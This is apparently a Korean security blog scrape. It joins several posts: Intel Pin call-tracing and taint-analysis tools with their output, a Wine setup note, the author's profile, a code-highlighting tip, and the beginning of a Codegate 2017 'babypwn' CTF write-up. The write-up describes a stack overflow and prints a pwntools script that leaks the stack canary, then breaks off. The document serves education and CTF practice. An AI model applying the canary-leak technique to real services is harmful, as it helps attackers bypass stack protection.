        argstr3.find(KnobTraceString.Value()) != string::npos
      ){
        *out << StringFromAddrint(ins) << " : " << base_img_name << "!" << *s << "(0x" << std::hex << arg0 << ", 0x" << arg1 << ", 0x" << arg2 << "...)" << endl;
        if(argstr1.length()>10){
            argstr1 = argstr1.substr(0,10);
            argstr1 += "...";
        }
        if(argstr2.length()>10){
            argstr2 = argstr2.substr(0,10);
            argstr2 += "...";
        }
        if(argstr3.length()>10){
            argstr3 = argstr3.substr(0,10);
            argstr3 += "...";
        }
        *out << "    arg1 : " << argstr1 << endl;
        *out << "    arg2 : " << argstr2 << endl;
        *out << "    arg3 : " << argstr3 << endl;
    }
}

VOID  do_call_args_indirect(ADDRINT ins, ADDRINT target, BOOL taken, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    if( !taken ) return;
    const string *s = Target2String(target);
    do_call_args(ins, s, arg0, arg1, arg2, esp);
    if (s != &invalid)
        delete s;
}

/* ===================================================================== */

VOID Trace(TRACE trace, VOID *v)
{
    PIN_LockClient();
    IMG img = IMG_FindByAddress(TRACE_Address(trace));
    PIN_UnlockClient();

    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){
        for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
        {
            INS tail = BBL_InsTail(bbl);
            if( INS_IsCall(tail) ) {
                if( INS_IsDirectBranchOrCall(tail) ) {
                    // direct call
                    const ADDRINT target = INS_DirectBranchOrCallTargetAddress(tail);
                    INS_InsertPredicatedCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args),
                                                IARG_INST_PTR,
                                                IARG_PTR, Target2String(target), 
                                                IARG_FUNCARG_CALLSITE_VALUE, 0,
                                                IARG_FUNCARG_CALLSITE_VALUE, 1,
                                                IARG_FUNCARG_CALLSITE_VALUE, 2,
                                                IARG_REG_VALUE, REG_ESP,
                                                IARG_END);
                }
                else {
                    // indirect call
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);
                }
            }
            else {
                RTN rtn = TRACE_Rtn(trace);
                if( RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(tail)) {
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);       
                }
            }
        }
    }
}

int main(int argc, char *argv[])
{
    PIN_InitSymbols();
    if( PIN_Init(argc,argv) ){  return Usage(); }
    string fileName = "trace_result.txt";
    if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());}

    TRACE_AddInstrumentFunction(Trace, 0);

    PIN_StartProgram();
    return 0;
}



실행결과


x00489d99 : VUPlayer.exe!_mbscmp(0x3c34f3c, 0x3be35f8, 0x74aeac8...)
    arg1 : AAAAAAAAAA...
    arg2 : #VUPlayer ...
    arg3 : 
0x004552ac : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f140, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : mod
    arg3 : 
0x004552d2 : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f13c, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : s3m
    arg3 : 
0x004552f8 : VUPlayer.exe!_mbsicmp(0x3c3408c, 0x51f138, 0x0...)
    arg1 : AAAAAAAAAA...
    arg2 : xm
    arg3 : 

0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x004562a3 : VUPlayer.exe!0x004b9f68(0x0, 0x3c3408c, 0x0...)
    arg1 : 
    arg2 : AAAAAAAAAA...
    arg3 : 
0x004b9f68 : VUPlayer.exe!BASS_MusicLoad(0x4562a8, 0x0, 0x3c3408c...)
    arg1 : ‰Eüƒ}ü
    arg2 : 
    arg3 : AAAAAAAAAA...
0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x00456191 : VUPlayer.exe!fopen(0x3c3408c, 0x51e098, 0x12d198...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : dœP
0x00453313 : VUPlayer.exe!lstrcpyA(0x12cc44, 0x3c3408c, 0x12d3a8...)
    arg1 : 
    arg2 : AAAAAAAAAA...
    arg3 : 0ü¿4P
0x00453325 : VUPlayer.exe!fopen(0x12cc44, 0x51e098, 0x12d3a8...)
    arg1 : AAAAAAAAAA...
    arg2 : rb
    arg3 : AAAAAAAAAA...






Taint Analysis with PIN


taint analysis 는 이론부터 설명하면 매우 길기 때문에 더이상의 설명은 생략한다!(...)

결론은 쓸만하지만 오류 없이 쓰려면 훨~씬 세세한 컨트롤을 해줘야 함. 그러므로 여기까지만..


 * 코드 일부 생략.

 ** (http://shell-storm.org/blog/Taint-analysis-and-pattern-matching-with-Pin 코드를 아주 많이 참고 하였음을 밝힙니다)


#include "pin.H"

#include <asm/unistd.h>
#include <iostream>
#include <fstream>
#include <list>

UINT32 insCount = 0;    
UINT32 bblCount = 0;    
UINT32 threadCount = 0;
UINT32 traceCount = 0;
BOOL start_taint = false;

std::ostream * out = &cerr;
std::list<ADDRINT> addressTainted;
std::list<REG> regsTainted;

string invalid = "invalid_rtn";

////////////////////////
//  trace user input  //
////////////////////////

VOID fgetsBefore(ADDRINT arg0, ADDRINT arg1, ADDRINT arg2) {
    *out << "[Taint] fgets() : " << endl;
    *out << " buf : 0x" << std::hex << arg1 << endl;
    *out << " size : 0x" << arg2 << endl;
    int size = static_cast<ADDRINT>(arg2);
    start_taint = true;
    for (int i=0;i<size;i++){
        addressTainted.push_back(arg1+i);
    }
}

VOID recvBefore(ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT arg3) {
    *out << "[Taint] recv() : " << endl;
    *out << " buf : 0x" << std::hex << arg2 << endl;
    *out << " size : 0x" << arg3 << endl;
    int size = static_cast<ADDRINT>(arg3);
    start_taint = true;
    for (int i=0;i<size;i++){
        addressTainted.push_back(arg2+i);
    }
}

///////////////////////
/// taint analysis  ///
///////////////////////
bool IsRegTainted(REG reg){
    list<REG>::iterator i;

    for(i = regsTainted.begin(); i != regsTainted.end(); i++){
        if (*i == reg){
          return true;
        }
    }
    return false;
}

bool IsMemTainted(ADDRINT mem){
    list<ADDRINT>::iterator i;
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (mem == *i){
            return true;
        }
    }
    return false;
}

bool removeRegTainted(REG reg){
  switch(reg){

    case REG_EAX:  regsTainted.remove(REG_EAX);
    case REG_AX:   regsTainted.remove(REG_AX);
    case REG_AH:   regsTainted.remove(REG_AH);
    case REG_AL:   regsTainted.remove(REG_AL);
         break;

    case REG_EBX:  regsTainted.remove(REG_EBX);
    case REG_BX:   regsTainted.remove(REG_BX);
    case REG_BH:   regsTainted.remove(REG_BH);
    case REG_BL:   regsTainted.remove(REG_BL);
         break;

    case REG_ECX:  regsTainted.remove(REG_ECX);
    case REG_CX:   regsTainted.remove(REG_CX);
    case REG_CH:   regsTainted.remove(REG_CH);
    case REG_CL:   regsTainted.remove(REG_CL);
         break;

    case REG_EDX:  regsTainted.remove(REG_EDX); 
    case REG_DX:   regsTainted.remove(REG_DX); 
    case REG_DH:   regsTainted.remove(REG_DH); 
    case REG_DL:   regsTainted.remove(REG_DL); 
         break;

    case REG_EDI:  regsTainted.remove(REG_EDI); 
    case REG_DI:   regsTainted.remove(REG_DI); 
         break;

    case REG_ESI:  regsTainted.remove(REG_ESI); 
    case REG_SI:   regsTainted.remove(REG_SI); 
         break;

    default:
      return false;
  }
  *out  << "\t\t\t" << REG_StringShort(reg) << " is now freed" << std::endl;
  return true;
}

bool taintReg(REG reg){
    if (IsRegTainted(reg)){
        * out << "\t\t\t" << REG_StringShort(reg) << " is already tainted" << std::endl;
        return false;
    }

    switch(reg){

        case REG_EAX:  regsTainted.push_front(REG_EAX); 
        case REG_AX:   regsTainted.push_front(REG_AX); 
        case REG_AH:   regsTainted.push_front(REG_AH); 
        case REG_AL:   regsTainted.push_front(REG_AL); 
            break;

        case REG_EBX:  regsTainted.push_front(REG_EBX);
        case REG_BX:   regsTainted.push_front(REG_BX);
        case REG_BH:   regsTainted.push_front(REG_BH);
        case REG_BL:   regsTainted.push_front(REG_BL);
            break;

        case REG_ECX:  regsTainted.push_front(REG_ECX);
        case REG_CX:   regsTainted.push_front(REG_CX);
        case REG_CH:   regsTainted.push_front(REG_CH);
        case REG_CL:   regsTainted.push_front(REG_CL);
            break;

        case REG_EDX:  regsTainted.push_front(REG_EDX); 
        case REG_DX:   regsTainted.push_front(REG_DX); 
        case REG_DH:   regsTainted.push_front(REG_DH); 
        case REG_DL:   regsTainted.push_front(REG_DL); 
            break;

        case REG_EDI:  regsTainted.push_front(REG_EDI); 
        case REG_DI:   regsTainted.push_front(REG_DI); 
            break;

        case REG_ESI:  regsTainted.push_front(REG_ESI); 
        case REG_SI:   regsTainted.push_front(REG_SI); 
            break;

        default:
            *out  << "\t\t\t" << REG_StringShort(reg) << " can't be tainted" << std::endl;
            return false;
  }
  *out << "\t\t\t" << REG_StringShort(reg) << " is now tainted" << std::endl;
  return true;
}

VOID ReadMem(INS ins, ADDRINT memOp){
    // memory -> reg
    list<ADDRINT>::iterator i;
    ADDRINT addr = memOp;
    REG read_reg;
  
    if (INS_OperandCount(ins) != 2)
        return;

    read_reg = INS_OperandReg(ins, 0);
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (addr == *i){
            // tainted memory > register
            *out << "[Read][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
            taintReg(read_reg);
            return ;
        }
    }
    if (IsRegTainted(read_reg)){
        // untainted memory > tainted register => clear reg
        *out << "[Read][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
        removeRegTainted(read_reg);
    }
}

VOID WriteMem(INS ins, ADDRINT memOp){
    // reg -> memory
    list<ADDRINT>::iterator i;
    ADDRINT addr = memOp;
    REG read_reg;
  
    if (INS_OperandCount(ins) != 2)
        return;

    read_reg = INS_OperandReg(ins, 1);
    for(i = addressTainted.begin(); i != addressTainted.end(); i++){
        if (addr == *i){
            // tainted memory
            *out << "[Write][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
            if (!REG_valid(read_reg) || !IsRegTainted(read_reg)){
                // untainted register > tainted memory => clear memory
                addressTainted.remove(addr);
            }
            *out << std::hex << "\t\t\t0x" << addr << " is now freed" << std::endl;
            return;
        }
    }

    if (IsRegTainted(read_reg)) {
    // tainted reg > untainted memory => tainted
        addressTainted.push_back(addr);
        *out << std::hex << "\t\t\t0x" << addr << " is now tainted" << std::endl;
        return;
    }
}

VOID spreadReg(INS ins)
{
    REG reg_r, reg_w;

    if (INS_OperandCount(ins) != 2) return;

    reg_r = INS_RegR(ins, 0);  // src
    reg_w = INS_RegW(ins, 0);  // dest 

    if (REG_valid(reg_w)){
        // reg_w not const(address)
        if (IsRegTainted(reg_w) && (!REG_valid(reg_r) || !IsRegTainted(reg_r))){
            // untainted reg > tainted reg => clear reg
            *out  << "[SPREAD]\t\t" << INS_Address(ins) << ": " << INS_Disassemble(ins) << std::endl;
            *out  << "\t\t\toutput: "<< REG_StringShort(reg_w) << " | input: " << (REG_valid(reg_r) ? REG_StringShort(reg_r) : "constant") << std::endl;
            removeRegTainted(reg_w);
    }
    else if (!IsRegTainted(reg_w) && IsRegTainted(reg_r)){
        // tainted reg > untainted reg => tainted
        *out  << "[SPREAD]\t\t" << INS_Address(ins) << ": " << INS_Disassemble(ins) << std::endl;
        *out  << "\t\t\toutput: " << REG_StringShort(reg_w) << " | input: "<< REG_StringShort(reg_r) << std::endl;
        taintReg(reg_w);
        }
    }
}

VOID Instruction(INS ins, VOID *v){
    if (IMG_IsMainExecutable(IMG_FindByAddress(INS_Address(ins)))){
        // callback for read instruction
        // memory -> reg
        if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsRead(ins, 0) && INS_OperandIsReg(ins, 0)){
            if (start_taint){
                  INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)ReadMem,
                    IARG_PTR, ins,
                    IARG_MEMORYOP_EA, 0,
                    IARG_END);
            }
        }
        // callback for write instruction
        // reg -> memory
        else if (INS_OperandCount(ins) > 1 && INS_MemoryOperandIsWritten(ins, 0)){
            if (start_taint){
                INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)WriteMem,
                    IARG_PTR, ins,
                    IARG_MEMORYOP_EA, 0,
                    IARG_END);
            }
        }
        // callback for spread instruction
        // reg -> reg
        else if (INS_OperandCount(ins) > 1 && INS_OperandIsReg(ins, 0)){
            if (start_taint){
                //*out << "[Spread][0x" << std::hex << INS_Address(ins) <<"] : " << INS_Disassemble(ins) << endl;
                 INS_InsertCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)spreadReg,
                    IARG_PTR, ins,
                    IARG_END);
            }
        }
    }
}

VOID Image(IMG img, VOID *v){
    // fgets(&Buf, 2000, File);
    RTN fgetsRtn = RTN_FindByName(img, "fgets");
    if (RTN_Valid(fgetsRtn))
    {
        RTN_Open(fgetsRtn);
        RTN_InsertCall(fgetsRtn, IPOINT_BEFORE, (AFUNPTR)fgetsBefore,
                        IARG_FUNCARG_CALLSITE_VALUE, 0,
                        IARG_FUNCARG_CALLSITE_VALUE, 1,
                        IARG_FUNCARG_CALLSITE_VALUE, 2,
                        IARG_END);
        RTN_Close(fgetsRtn);
    }
    // recv(sock, &buf, 2000, 0);
    RTN recvRtn = RTN_FindByName(img, "recv");
    if (RTN_Valid(recvRtn))
    {
        RTN_Open(recvRtn);
        RTN_InsertCall(recvRtn, IPOINT_BEFORE, (AFUNPTR)recvBefore,
                        IARG_FUNCARG_CALLSITE_VALUE, 0,
                        IARG_FUNCARG_CALLSITE_VALUE, 1,
                        IARG_FUNCARG_CALLSITE_VALUE, 2,
                        IARG_FUNCARG_CALLSITE_VALUE, 3,
                        IARG_END);
        RTN_Close(recvRtn);
    }
}

VOID Fini(INT32 code, VOID *v){
    /*
    list<ADDRINT>::iterator li;
    for(li=addressTainted.begin(); li!=addressTainted.end(); li++){
        * out << std::hex << *li << endl;
    }
    */
    *out << "[+] Finish!!" << endl;
}

/////////////////////////////
//////   call trace /////////
/////////////////////////////
const string *Target2String(ADDRINT target) {
    string name = RTN_FindNameByAddress(target);
    if (name == "") {
        return &invalid;
    } else if (name == ".text" || name == "unnamedImageEntryPoint") {
        return new string(StringFromAddrint(target));
    }
    else
        return new string(name);
}

string ReadCString(ADDRINT target){
    ADDRINT Buffer;
    PIN_SafeCopy(&Buffer, (ADDRINT *)(target), sizeof(ADDRINT));
    string cstring;
    while (1) {
        char c = 0;
        if (PIN_SafeCopy(&c, (ADDRINT *) Buffer, 1) != 1)
            break;
        if (c == 0)
            break;
        cstring += c;
        Buffer += 1;
    }
    return cstring;
}

VOID  do_call_args(ADDRINT ins,const string *s, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    PIN_LockClient();
    string img_name = IMG_Name(IMG_FindByAddress(ins));
    PIN_UnlockClient();
    string base_img_name = img_name.substr(img_name.find_last_of("/\\") + 1);
    string argstr1 = ReadCString(esp);
    string argstr2 = ReadCString(esp+4);
    string argstr3 = ReadCString(esp+8);
    bool tainted_func = false;

    if ( IsMemTainted(arg0) ) {
        tainted_func = true;
    }
    if ( IsMemTainted(arg1) ) {
        tainted_func = true;
    }
    if ( IsMemTainted(arg2) ) {
        tainted_func = true;
    }
    
    if ( tainted_func ) {
        *out << "[tainted arg]" << StringFromAddrint(ins) << " : " << base_img_name << "!" << *s << "(0x" << std::hex << arg0 << ", 0x" << arg1 << ", 0x" << arg2 << "...)" << endl;

        if (argstr1.length()>10){
            argstr1 = argstr1.substr(0,10);
            argstr1 += "...";
        }
        if (argstr2.length()>10){
            argstr2 = argstr2.substr(0,10);
            argstr2 += "...";
        }
        if (argstr3.length()>10){
            argstr3 = argstr3.substr(0,10);
            argstr3 += "...";
        }
        *out << "    arg1 : " << argstr1 << endl;
        *out << "    arg2 : " << argstr2 << endl;
        *out << "    arg3 : " << argstr3 << endl;
    }
}

VOID  do_call_args_indirect(ADDRINT ins, ADDRINT target, BOOL taken, ADDRINT arg0, ADDRINT arg1, ADDRINT arg2, ADDRINT esp) {
    if ( !taken ) return;
    const string *s = Target2String(target);
    do_call_args(ins, s, arg0, arg1, arg2, esp);
    if (s != &invalid)
        delete s;
}

/* ===================================================================== */

VOID Trace(TRACE trace, VOID *v)
{
    PIN_LockClient();
    IMG img = IMG_FindByAddress(TRACE_Address(trace));
    PIN_UnlockClient();

//    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){
    if (IMG_Valid(img) && IMG_IsMainExecutable(img)){   
        for (BBL bbl = TRACE_BblHead(trace); BBL_Valid(bbl); bbl = BBL_Next(bbl))
        {
            INS tail = BBL_InsTail(bbl);
            if ( INS_IsCall(tail) ) {
                if ( INS_IsDirectBranchOrCall(tail) ) {
                    // direct call
                    const ADDRINT target = INS_DirectBranchOrCallTargetAddress(tail);
                    INS_InsertPredicatedCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args),
                                                IARG_INST_PTR,
                                                IARG_PTR, Target2String(target), 
                                                IARG_FUNCARG_CALLSITE_VALUE, 0,
                                                IARG_FUNCARG_CALLSITE_VALUE, 1,
                                                IARG_FUNCARG_CALLSITE_VALUE, 2,
                                                IARG_REG_VALUE, REG_ESP,
                                                IARG_END);
                }
                else {
                    // indirect call
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);
                }
            }
            else {
                RTN rtn = TRACE_Rtn(trace);
                if ( RTN_Valid(rtn) && !INS_IsDirectBranchOrCall(tail)) {
                    INS_InsertCall(tail, IPOINT_BEFORE, AFUNPTR(do_call_args_indirect),
                                    IARG_INST_PTR,
                                    IARG_BRANCH_TARGET_ADDR, IARG_BRANCH_TAKEN,  
                                    IARG_FUNCARG_CALLSITE_VALUE, 0,
                                    IARG_FUNCARG_CALLSITE_VALUE, 1,
                                    IARG_FUNCARG_CALLSITE_VALUE, 2,
                                    IARG_REG_VALUE, REG_ESP,
                                    IARG_END);       
                }
            }
        }
    }
}
/////////////////////////////////////////////////
////////////// call trace end ///////////////////
/////////////////////////////////////////////////

int main(int argc, char *argv[]){
    PIN_InitSymbols();
    if ( PIN_Init(argc,argv) ){ return -1; }
    string fileName = "taint_analysis_result.txt";
    if (!fileName.empty()) { out = new std::ofstream(fileName.c_str());}

    IMG_AddInstrumentFunction(Image, 0);
    INS_AddInstrumentFunction(Instruction, 0);
    TRACE_AddInstrumentFunction(Trace, 0);
    PIN_AddFiniFunction(Fini, 0);

    PIN_StartProgram();
    return 0;
}




실행결과


[Taint] fgets() : 
 buf : 0x12f76c
 size : 0x7d0
[tainted arg]0x0040113e : reader_taint.exe!myreadfile(0x12f76c, 0x61616161, 0x61616161...)
    arg1 : aaaaaaaaaa...
    arg2 : 
    arg3 : 
[Read][0x401029] : mov dl, byte ptr [ecx+0x5]
            dl is now tainted
            0x12f55f is now tainted
[Read][0x401035] : mov cl, byte ptr [eax+0x6]
            cl is now tainted
            0x12f55d is now tainted
[Read][0x401041] : mov al, byte ptr [edx+0x8]
            al is now tainted
            0x12f55e is now tainted
[Write][0x40104d] : mov byte ptr [ecx+0x2], 0x66
            0x12f76e is now freed
[Write][0x401054] : mov byte ptr [edx+0x4], 0x67
            0x12f770 is now freed
[Write][0x40105b] : mov byte ptr [eax+0xb], 0x68
            0x12f777 is now freed
[Write][0x401062] : mov byte ptr [ecx+0x15], 0x6d
            0x12f781 is now freed
[tainted arg]0x00401071 : reader_taint.exe!strcpy(0x12f560, 0x12f76c, 0x61616101...)
    arg1 : 
    arg2 : aafagaaaaa...
    arg3 : 
[tainted arg]0x004010a0 : reader_taint.exe!main(0x401143, 0x12f76c, 0x61666161...)
    arg1 : ƒÄëë3À‹...
    arg2 : aafagaaaaa...
    arg3 : 
[+] Finish!!


한줄 요약 : PIN 은 위대하다. 그러나 정말 제대로 활용하려면 어렵다..


'Reversing' 카테고리의 다른 글

암호학 정리(for CTF)  (0) 2018.04.05
WinDBG 고급 명령어들  (0) 2017.06.07
DBI - pin & pintool  (3) 2017.05.22
DBI - Frida 를 이용한 DBI  (2) 2016.09.07
Embedded 기기 리버싱 - 펌웨어 리버싱  (1) 2016.07.14
Windbg 기본 - (3) 분석시 유용한 명령어들  (2) 2016.03.01
  1. BlogIcon 1466407558 2016.06.20 16:25 신고

    좋은글 감사

  2. 지나가던 행인 2017.05.31 10:54 신고

    음 ... 프로그래밍을 좀더 공부해야겟네요 ㅠㅠ

  3. 88222 2017.06.16 09:15 신고

    Wow.. 함수 트레이싱하는 코드 찾고있었는데 굳굳

WINE


대부분의 작업은 맥을 사용하고 있으나 IDA 등을 사용하기 위해 Win7, Win10 가상머신을 함께 활용한다.


그러던 중 예~전 리눅스 배우던 초보 시절 실행해보고 감탄했던 wine 이 생각나서 찾아보니 맥에서도 


잘 돌아간다고 하는 포스팅을 보고 간단히 설치해 봤다. 결론부터 말하면 글꼴 등 세팅이 조금 귀찮지만


쓸만하다. 간단한 툴 뿐 아니라 IDA 처럼 무거운 툴도 잘 돌아간다.(심지어 빠르다!!) 










설치


# brew cask install xquartz


# brew install wine






설치확인

$ wine<tab>

wine         winebuild    winecpp      winefile     winemaker    wineserver   

wine64       winecfg      winedbg      wineg++      winemine     

wineboot     wineconsole  winedump     winegcc      winepath    





Windows 용 프로그램 실행



 구조를 보니 홈폴더 하위에 .wine 폴더가 생기고 그 아래에 윈도우와 동일한 폴더구조가 생성된다. 


 특이점으로 레지스트리 하이브 파일도 .wine 폴더에 있다. vi 로 쉽게 수정이 가능하다.




 우선 노트패드를 실행해 봤다. 잘된다.





원래 목적이었던 IDA 를 실행해 봤다. 글꼴이 좀 구리지만 잘된다. 


글꼴설치는  ~/.wine/drive_c/windows/fonts 폴더에 복사해주면 된다고 한다.



가끔 급할때 쓰면 좋겠다. 끝.

about me

2017.04.14 15:24

About hyunmini


                          last updated 2018.5.



  • 업무
    • 2011 :  침해사고 대응 및 포렌식
    • 2012~2018 : 취약점 분석 및 모의해킹
    • Skills 
        • Penetration Testing ( Android / IOS / Web / N/W Infra / S/W Vuln Assessment )   ++++
        • Programming language ( Python / C / C++ / PHP / JSP / VB / etc...)   +++
        • Reversing ( Binary Analysis / Malware Analysis )  ++
        • Digital Forensic  ++
        • Windows Exploit Analysis / Development  +++
        • Linux Pwnable +

  • 관심분야
    • Windows binary analysis
    • BugHunting
    • WebHacking
    • Windows Digital forensic

  • 발표 및 강의
    • 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[기초, 고급] (2018.4)
    • Browser Exploit&Bughunting (2017)
    • 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[고급] (2017)
    • 디지털 포렌식 (2016)
    • 악성코드 분석 기초 (2016)
    • 윈도우 시스템 해킹 : 버그헌팅과 익스플로잇[기초] (2016)
    • Attack Internet Explorer, UseAfterFree 와 ASLR (2014)
    • 안드로이드 앱 해킹 (2013)
    • 새로운 웹해킹 기술, HTML5 (2012)
    • APT공격 개요와 시연, 오픈소스 침해사고 대응 (2012)
    • Acrobat Reader Attack (2011)
    • Web Pentesting, Malware analyze (2011)
    • P2P Client Program Reversing (2010)



  • 그룹
    • 2014. ~      NULL@ROOT (Korea Hacker Group)  
    • 2009. ~     Secuholic 운영 (Naver Hacking&Security Cafe)


  • 저서
    • 2016.1    윈도우 시스템 해킹 가이드 : 버그헌팅과 익스플로잇(내용 추가 개정판, 2018.x 예정) 


  • 취약점 리포트
    • 2018
      • K*** Bufferoverflow
      • Ep*** Bufferoverflow
      • J**  Remote Command Execution
    • 2017
      • Pagespy Memory Corruption(EIP Control)
      • K*** ActiveX 버퍼오버플로우
      • e*** ActiveX 버퍼오버플로우
      • gl**** ActiveX Arbitrary code execution
    • 2016
      • gnuboard 5.x  BlindSQL 인젝션
      • A,B 사 Blind XXE (oob)
      • Global U***  임의파일 생성 
    • 2014
      • S사 DRM 버퍼오버플로우
      • Ke******* ActiveX Control Arbitrary File Execution
      • S사 C*** ActiveX 버퍼오버플로우
      • S사 A* ActiveX Multiple Vulnerabilities(임의파일 읽기/쓰기/명령실행)
      • H사 H* ActiveX 버퍼오버플로우
      • H사 H* ActiveX 버퍼오버플로우
      • P사 P* ActiveX 버퍼오버플로우 
    • 2013
      • N사 영화사이트 XSS
      • MessagePopup 메신저 버퍼오버플로우
      • Akelpad Heap Unicode 버퍼오버플로우

  • 수상내역
    • 2017. CCE(국가보안기술연구소) 해킹대회 예선3위 / 본선6위
    • 2016. HDCON 본선 6위
    • 2015. HDCON 본선 6위
    • 2014. KISA보호나라 S/W신규취약점 신고 2014년 명예의전당 TOP 3
    • 2011.  KISA&KISIA 주최 악성코드 찾기대회 1등



'About me' 카테고리의 다른 글

about me  (3) 2017.04.14
  1. 안녕하세요~ 2018.04.28 19:59 신고

    혹시 윈도우 시스템 해킹 가이드 개정판은 언제쯤 만나볼수 있을까요~?

    • BlogIcon hyunmini 2018.05.02 13:32 신고

      안녕하세요. 초안은 거의 마무리 단계입니다만, 검토 및 편집 시간이 좀 걸릴테니 빨라도 7~8 월 정도 되지 않을까 싶습니다 ^^;

  2. 안녕하세요~ 2018.05.05 23:43 신고

    답변 감사드립니다.



포스팅하면서 코드 색깔 입히는 게 귀찮았는데 (몇몇 좋은 js 모듈이나 온라인 highligher 사이트가 있지만 편집하기가 생각보다 불편...)


터미널에서 쉽게 코드에 색을 입히는 프로그램을 찾아서 정리해 둔다. 


여러개 있는것 같지만 두가지만 정리.







highlight



$ brew install highlight



 hyunmini:cpp $ highlight -O ansi test.cpp

#include <iostream>

#include <fstream>

#include <map>

#include <string.h>


using namespace::std;


map<int,string> test1234;


int main(){

string myStr = "test";

cout << "test string: " << myStr << "(" << myStr.length() << endl;

map<int,string>::iterator it;

test1234.insert(pair<int,string>(0,"haha"));

test1234.insert(pair<int,string>(1,"222a"));

it = test1234.begin();

cout << (*it).first << endl;

cout << (*it).second << endl;

}







Pygments


pip install Pygments


$ pygmentize -g dbi.py


 hyunmini:frida $ pygmentize -g dbi.py

#!/usr/bin/python

#-*- coding: utf-8 -*-

import sys

import frida

import codecs


class Logger(object):

INFO = '\033[10m' # white

SUCC = '\033[92m' # green

WARN = '  \033[93m' # yellow

END = '\033[0m' # normal(white)


@staticmethod

def info(msg): # print console

print Logger.INFO + msg + Logger.END


@staticmethod

def succ(msg): # print console

print Logger.SUCC + msg + Logger.END


@staticmethod

def warn(msg): # print console







별칭 등록


hyunmini:frida $ alias

alias ccat='highlight -O ansi'

alias pcat='pygmentize -g'






끝~

'Programming' 카테고리의 다른 글

Terminal Code Highlight - pygmentize, highlight  (0) 2017.03.14
python 을 이용한 bruteforcing  (0) 2016.07.28
py2exe 사용법  (0) 2014.03.04

Codegate 2017 - babypwn

2017.02.28 17:59


육아 때문에 최근 공부를 거의 못하고 있으나...pwnable 만은 놓지 않기 위해 시간날때마다 조금씩이라도 풀어보려 노력중이다. ㅠ 


babypwn 은 Codegate 2017 prequal 에 출제 되었던 문제이다. 문제 환경도 잘 모르겠고 세팅하기 귀찮으니 


대충 있는 리눅스 가상머신에 올려서 풀었다.



babypwn

babypwn.py

babypwn



>>> print e.checksec()

RELRO:    Partial RELRO

Stack:    Canary found

NX:       NX enabled

PIE:      No PIE




stack canary 와 NX 가 걸려있다. fork() 를 해주기 때문에 aslr 은 큰 의미는 없다. canary 역시 fork() 때문에 재실행 전까지는 동일하다.


이런 유형의 문제는 보통 leak 가 가능하도록 되어있으므로 확인해 보자.







일단 0x8048907() 함수 내부에서 recv 로 입력값을 받는데, v2 버퍼는 0x28(40) byte 밖에 안되는데 0x64(100) 을 입력받고 있다.


그로인해 60바이트만큼 오버플로우가 발생한다.


하지만 버퍼 바로 아래에 canary 가 있어서 리턴 직전 확인하고 있으므로 (ssp 보호기법) 먼저 canary 를 leak 해야 한다. 


canary 와 버퍼가 붙어있으므로 AAAA|canary 요렇게 빈틈없이 채워주면 message 를 출력해줄때 canary 까지 같이 출력하게 할 수 있다.



# leak.py

#!/usr/bin/python from pwn import * context(arch='x86', os='linux', endian='little') print "[*] codegate 2017 babypwn exploit by hyunmini" e = ELF('./babypwn') rop = ROP(e) log.info("stage 0 : leak canary") r = remote("192.168.231.128",8181) print r.recvuntil('menu > ') r.send('1\n') print r.recv(1024) r.send('a'*41) print hexdump(r.recv(1024))




hyunmini:codegate2017 $ python babypwn.py 


[*] codegate 2017 babypwn exploit by hyunmini

[*] Loaded cached gadgets for './babypwn'

